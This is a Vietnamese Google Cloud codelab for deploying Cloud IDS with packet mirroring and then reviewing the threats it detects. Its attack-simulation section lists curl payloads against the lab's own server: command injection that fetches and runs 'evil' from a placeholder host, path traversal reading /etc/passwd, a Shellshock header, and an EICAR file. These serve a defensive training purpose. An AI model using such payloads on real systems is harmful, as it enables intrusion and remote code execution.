IDS của Cloud

1. Giới thiệu

Trong phòng thí nghiệm này, bạn sẽ triển khai IDS của Cloud, một dịch vụ phát hiện xâm nhập nâng cao thế hệ tiếp theo, cung cấp tính năng phát hiện mối đe doạ đối với các cuộc xâm nhập, phần mềm độc hại, phần mềm gián điệp và các cuộc tấn công chỉ huy và kiểm soát. Bạn sẽ mô phỏng nhiều cuộc tấn công và xem thông tin chi tiết về mối đe doạ trong Cloud Console.

Kiến thức bạn sẽ học được

  • Cách tạo điểm cuối IDS của Cloud
  • Cách tạo 2 máy ảo bằng các lệnh gcloud
  • Cách tạo chính sách phản chiếu gói
  • Cách mô phỏng lưu lượng truy cập tấn công từ máy ảo
  • Cách xem thông tin chi tiết về mối đe doạ trong Cloud Console và Cloud Logging

Bạn cần có

  • Kiến thức về các lệnh cơ bản của Linux

2. Các trường hợp sử dụng IDS của Cloud

IDS của Cloud cung cấp Dịch vụ phát hiện xâm nhập (IDS) thế hệ tiếp theo gốc của Google Cloud để khách hàng đáp ứng các yêu cầu nâng cao về phát hiện mối đe doạ và tuân thủ, chẳng hạn như PCI 11.4. Dịch vụ này sử dụng công nghệ bảo vệ khỏi mối đe doạ của Palo Alto Networks để cung cấp khả năng phát hiện xâm nhập nâng cao. Việc kết hợp cơ sở hạ tầng đẳng cấp thế giới của Google Cloud với khả năng bảo mật đẳng cấp thế giới của Palo Alto Networks mang đến cho khách hàng một sự kết hợp chưa từng có giữa dịch vụ phát hiện mối đe doạ nâng cao được quản lý toàn diện, có hiệu suất cao và hiệu quả bảo mật cao nhất.

Khi khách hàng di chuyển lên đám mây, vấn đề bảo mật là mối quan tâm hàng đầu của họ. Họ muốn có các biện pháp kiểm soát bảo mật tương tự như biện pháp họ có tại chỗ, chẳng hạn như Dịch vụ phát hiện xâm nhập (IDS) trên đám mây. Họ muốn sử dụng giải pháp IDS được quản lý gốc trên đám mây để dễ dàng triển khai, có hiệu suất cao và chi phí tối ưu so với việc triển khai giải pháp bảo mật của bên thứ ba và quản lý cơ sở hạ tầng hoặc mang chữ ký của riêng họ. Google Cloud IDS cung cấp một dịch vụ IDS được quản lý từ đầu đến cuối và có khả năng tự động cấp tài nguyên bổ sung, cho phép khách hàng dành thời gian phân tích và giảm thiểu các mối đe doạ, đồng thời giải phóng thời gian và tài nguyên của họ để quản lý cơ sở hạ tầng hoặc chữ ký mối đe doạ.

IDS của Cloud được triển khai ngoài băng tần và có thể phát hiện cũng như cảnh báo về các mối đe doạ, nhưng không thể chặn các mối đe doạ. Giải pháp này tận dụng tính năng Phản chiếu gói của Google Cloud để tạo bản sao lưu lượng truy cập mạng được phân tích bằng công cụ phát hiện mối đe doạ của Palo Alto Network.

3. Cấu trúc liên kết lớp học lập trình

5a276f399e1d31e2.png

Hình 1. Thông tin tổng quan về kiến trúc cấp cao của việc triển khai IDS của Cloud cho bài tập thực hành này.

4. Thiết lập và yêu cầu

Thiết lập môi trường theo tốc độ của riêng bạn

  1. Đăng nhập vào Google Cloud Console rồi tạo một dự án mới hoặc sử dụng lại một dự án hiện có. Nếu chưa có tài khoản Gmail hoặc Google Workspace, bạn phải tạo một tài khoản.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Tên dự án là tên hiển thị của những người tham gia dự án này. Đây là một chuỗi ký tự mà các API của Google không dùng và bạn có thể cập nhật chuỗi này bất cứ lúc nào.
  • Mã dự án phải là duy nhất trên tất cả các dự án trên Google Cloud và không thể thay đổi (bạn không thể thay đổi sau khi đã đặt). Cloud Console sẽ tự động tạo một chuỗi duy nhất; thường thì bạn không cần quan tâm đến chuỗi này. Trong hầu hết các lớp học lập trình, bạn sẽ cần tham chiếu đến Mã dự án (thường được xác định là PROJECT_ID). Vì vậy, nếu không thích mã này, bạn có thể tạo một mã ngẫu nhiên khác hoặc thử mã của riêng mình để xem mã đó có dùng được hay không. Sau đó, mã này sẽ "đóng băng" sau khi dự án được tạo.
  • Có một giá trị thứ ba là Số dự án mà một số API sử dụng. Tìm hiểu thêm về cả 3 giá trị này trong tài liệu.
  1. Tiếp theo, bạn cần bật tính năng thanh toán trong Cloud Console để sử dụng các tài nguyên/API trên Cloud. Việc thực hiện lớp học lập trình này sẽ không tốn nhiều chi phí, nếu có. Để tắt các tài nguyên nhằm tránh bị tính phí ngoài phạm vi hướng dẫn này, hãy làm theo mọi hướng dẫn "dọn dẹp" ở cuối lớp học lập trình. Người dùng mới của Google Cloud đủ điều kiện tham gia chương trình Dùng thử miễn phí trị giá 300 USD.

Khởi động Cloud Shell

Mặc dù có thể vận hành Google Cloud từ xa trên máy tính xách tay, nhưng trong lớp học lập trình này, bạn sẽ sử dụng Google Cloud Shell, một môi trường dòng lệnh chạy trên Cloud.

Trên Bảng điều khiển GCP, hãy nhấp vào biểu tượng Cloud Shell trên thanh công cụ ở trên cùng bên phải:

bce75f34b2c53987.png

Quá trình này chỉ mất vài phút để cung cấp và kết nối với môi trường. Khi quá trình này kết thúc, bạn sẽ thấy như sau:

f6ef2b5f13479f3a.png

Máy ảo này được trang bị tất cả các công cụ phát triển mà bạn cần. Nó cung cấp một thư mục chính có dung lượng 5 GB và chạy trên Google Cloud, giúp tăng cường đáng kể hiệu suất mạng và hoạt động xác thực. Bạn chỉ cần một trình duyệt là có thể thực hiện mọi thao tác trong phòng thí nghiệm này.

5. Trước khi bắt đầu

Bật API

Trong Cloud Shell, hãy đảm bảo rằng bạn đã thiết lập mã dự án

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Bật tất cả các dịch vụ cần thiết

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Tạo mạng VPC

Mạng VPC

Từ Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Mạng con

Từ Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Quyền truy cập vào dịch vụ riêng tư

Từ Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Kết nối dịch vụ riêng tư

Từ Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Quy tắc về tường lửa

Để cho phép IAP kết nối với các phiên bản máy ảo, hãy tạo một quy tắc tường lửa có:

  • Áp dụng cho tất cả các phiên bản máy ảo mà bạn muốn có thể truy cập bằng IAP.
  • Cho phép lưu lượng truy cập vào từ dải IP 35.235.240.0/20. Dải này chứa tất cả địa chỉ IP mà IAP sử dụng để chuyển tiếp TCP.

Từ Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Cách cho phép cổng HTTP tiêu chuẩn (TCP 80) và giao thức ICMP kết nối đến máy chủ:

  • Áp dụng cho các tài nguyên có thẻ mạng "server"
  • Cho phép lưu lượng truy cập đến từ tất cả các nguồn

Từ Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Tạo phiên bản Cloud NAT

Cloud Router

Từ Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Từ Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Tạo điểm cuối IDS của Cloud

Trong phần này, bạn sẽ tạo một Điểm cuối IDS của Cloud ở us-east1, với mức độ nghiêm trọng được đặt thành thông tin. Quá trình tạo điểm cuối IDS mất khoảng 20 phút.

Điểm cuối IDS

Từ Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Xác minh rằng điểm cuối IDS của Cloud đã được khởi tạo

gcloud ids endpoints list --project=$PROJECT_ID

Đầu ra –

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Tạo 2 máy ảo

Trong phần này, bạn sẽ tạo 2 máy ảo. Đầu tiên là máy chủ web của bạn đang phản chiếu đến IDS của Cloud. Máy ảo thứ hai sẽ là nguồn lưu lượng truy cập tấn công của bạn.

Máy ảo 1 (Máy chủ)

Từ Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Máy ảo 2 (Máy khách)

Từ Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Đang chuẩn bị máy chủ

Trong phần việc cần làm này, bạn sẽ xác thực máy chủ và cung cấp tải trọng phần mềm độc hại vô hại cho ứng dụng.

SSH vào máy ảo thông qua Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Xác nhận dịch vụ web đang chạy

sudo systemctl status nginx

Đầu ra – xác minh trạng thái đang hoạt động và đang chạy

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Thay đổi thư mục thành dịch vụ web

cd /var/www/html/

Tạo một tệp phần mềm độc hại vô hại trên máy chủ web

sudo touch eicar.file

Dán nội dung vào

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Quay lại Cloud Shell

exit

Tạo chính sách phản chiếu gói IDS của Cloud

Xác định Quy tắc chuyển tiếp điểm cuối IDS và xác nhận trạng thái Điểm cuối IDS là "READY" (SẴN SÀNG).

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Ví dụ về đầu ra – Sao chép giá trị từ "endpointForwardingRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Lưu Quy tắc chuyển tiếp điểm cuối IDS vào một biến.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Chính sách về tính năng phản chiếu gói

Từ Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Xác minh rằng chính sách phản chiếu gói đã được tạo

Từ Cloud Shell

gcloud compute packet-mirrorings list

Đầu ra

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Mô phỏng lưu lượng truy cập tấn công

SSH vào máy ảo của kẻ tấn công (Máy khách)

Từ Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Chạy các yêu cầu curl sau đây để mô phỏng lưu lượng truy cập độc hại.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Thoát khỏi máy ảo để quay lại Cloud Shell

exit

11. Xem xét các mối đe doạ do IDS của Cloud phát hiện

Chuyển đến Trang tổng quan về IDS của Cloud

Trình đơn điều hướng > Bảo mật mạng > IDS của Cloud

37583419aa604aa8.png

Chuyển đến thẻ Mối đe doạ.

b7d934f409b4e2b.png

Như bạn có thể thấy, IDS của Cloud đã ghi lại nhiều hồ sơ lưu lượng truy cập tấn công và cung cấp thông tin chi tiết về từng mối đe doạ. Bạn có thể phải nhấp vào nút "Làm mới" nếu không thấy mối đe doạ nào. Bây giờ, chúng ta sẽ tìm hiểu kỹ hơn một chút và xem thông tin chi tiết về mối đe doạ.

Tìm mối đe doạ "Lỗ hổng thực thi mã từ xa Bash", nhấp vào dấu 3 chấm ở bên phải rồi chọn "Xem thông tin chi tiết về mối đe doạ"

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Bây giờ, chúng ta sẽ xem thông tin chi tiết về sự cố này trong Cloud Logging. Quay lại trang Mối đe doạ bằng cách nhấp vào mũi tên chỉ sang trái .

Nhấp vào biểu tượng ba dấu chấm ở bên phải rồi chọn "Xem nhật ký mối đe doạ"

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Cloud Logging cũng nhận được thông tin chi tiết tương tự. Điều này cho phép bạn gửi nhật ký đến Cloud Storage, Chronicle hoặc bất kỳ SIEM/SOAR nào. Bạn cũng có thể tạo quy trình tuỳ chỉnh để thực hiện hành động khắc phục dựa trên cảnh báo, ví dụ: tạo một hàm trên đám mây kích hoạt khi có cảnh báo và tạo/cập nhật một quy tắc tường lửa để chặn địa chỉ IP hoặc tạo/cập nhật một chính sách Cloud Armor.

12. Các bước dọn dẹp

Thoát khỏi phiên bản máy ảo (tất cả các thẻ)

exit

Xoá các thành phần trong phòng thí nghiệm khỏi một thiết bị đầu cuối Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Xin chúc mừng!

Chúc mừng bạn đã hoàn thành lớp học lập trình này.

Nội dung đã đề cập

  • Các trường hợp sử dụng IDS của Cloud
  • Yêu cầu về mạng
  • Các API được hỗ trợ
  • Đã tạo một điểm cuối IDS của Cloud
  • Đã triển khai 2 VM
  • Tạo một số lưu lượng truy cập "tấn công" từ máy khách
  • IDS đã phát hiện thấy các mối đe doạ đã được xác minh
  • Xem thông tin chi tiết và nhật ký về mối đe doạ